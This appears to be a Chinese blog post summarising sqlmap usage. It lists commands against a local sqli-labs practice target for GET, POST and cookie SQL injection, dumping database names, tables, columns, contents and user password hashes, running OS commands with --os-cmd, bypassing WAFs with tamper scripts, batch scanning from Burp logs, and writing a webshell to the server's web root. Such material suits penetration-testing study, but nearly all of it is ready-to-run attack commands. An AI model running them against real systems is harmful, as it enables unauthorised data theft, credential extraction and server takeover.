sqlmap工具总结

1. 三种注入方式检测

get方式注入

python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2

post方式注入

python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data uname=ha

cookie注入

python2 sqlmap.py -u '网址' --cookie uname=aja

2. 数据库信息获取

获取当前用户下所有数据库

python2 sqlmap.py -u '' --dbs

获取数据库的表名

python2 sqlmap.py -u ''-D 数据库名 --tables

获取表中的字段

python2 sqlmap.py -u '' -D 数据库名 -T 表名 --columns

获取字段的内容

python2 sqlmap.py -u '' -D 数据库名 -T 表名 -C 列名,列名 --dump

获取所有用户(具有一定的权限)

python2 sqlmap.py -u '' --users

获取数据库用户的密码

python2 sqlmap.py -u '' --passwords

获取当前网站数据库的名称

python2 sqlmap.py -u '' --current-db

获取当前数据库的用户名称

python2 sqlmap.py -u '' --current-user

获取数据库的数据量

python2 sqlmap.py -u '' -D 数据库名 --count

判断用户权限:增删改查、写入读取文件、执行系统命令

python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2 --privileges

简单的判断:MSSQL最高权限是Sa用户 Mysql最高权限是root

sqlmap不支持Mongodbnosql所以新出来的开源nosqlmap支持可以去github上下载

管理自己的数据库得先在github上下载pymysql解压切换目录然后setup.py install

sqlmap.py -d mysql://用户名:密码@地址:端口/数据库 --sql-shell 进行sql语句的管理

页面无变化,布尔无真假,从来不报错,延时注入

python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2 --delay -safe-freq

交互式命令执行和写webshell

python2 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=2 --os-cmd 'net user'

使用tamper绕过waf

python2 sqlmap.py -u '' --tamper=''

批量sql注入

python2 sqlmap.py -m 文件

3. 使用burpsuit批量扫描sql注入

先在burpsuit中设置使用代理抓包并将其保存在sqlmap所在的目录下。然后使用

python2 sqlmap.py -l burp.log --batch -smart

--batch 就是使用默认选项,smart是使用智能化的注入,它会根据头的注入,cookiepost,get的方式进行注入

4. 本地上传webshell

首先,在sqlmap所在的目录下创建一个目录mst,然后里面存放我们要上传的webshell,
其次,需要两个参数

--file-write './mst/mst.txt'
--file-dest 'd:/www/1.php'
-v 等级 可以显示出注入的payload

使用burpsuit结合sqlmap学习注入:参数 --proxy=http://127.0.0.1:8080


  转载请注明: 星晴 sqlmap工具总结

 上一篇
bing批量采集URL去重复链接脚本 bing批量采集URL去重复链接脚本
#!/usr/bin/env python # -*- conding:utf-8 -*- import re from selenium import webdriver import urllib import argparse imp
2019-04-12 starjian
下一篇 
手写python爬虫下载电子书一键发送到kindle 手写python爬虫下载电子书一键发送到kindle
1.概述由于平时喜欢看书,但是发现一些推送的服务号没有自己想要的电子书,最近再学习爬虫,就想小试牛刀,主要用到的技术: 使用python的requests模块进行网站信息的爬取 解析我使用了两个方式,正则表达式和pyquery库进行html
2019-04-12 starjian
  目录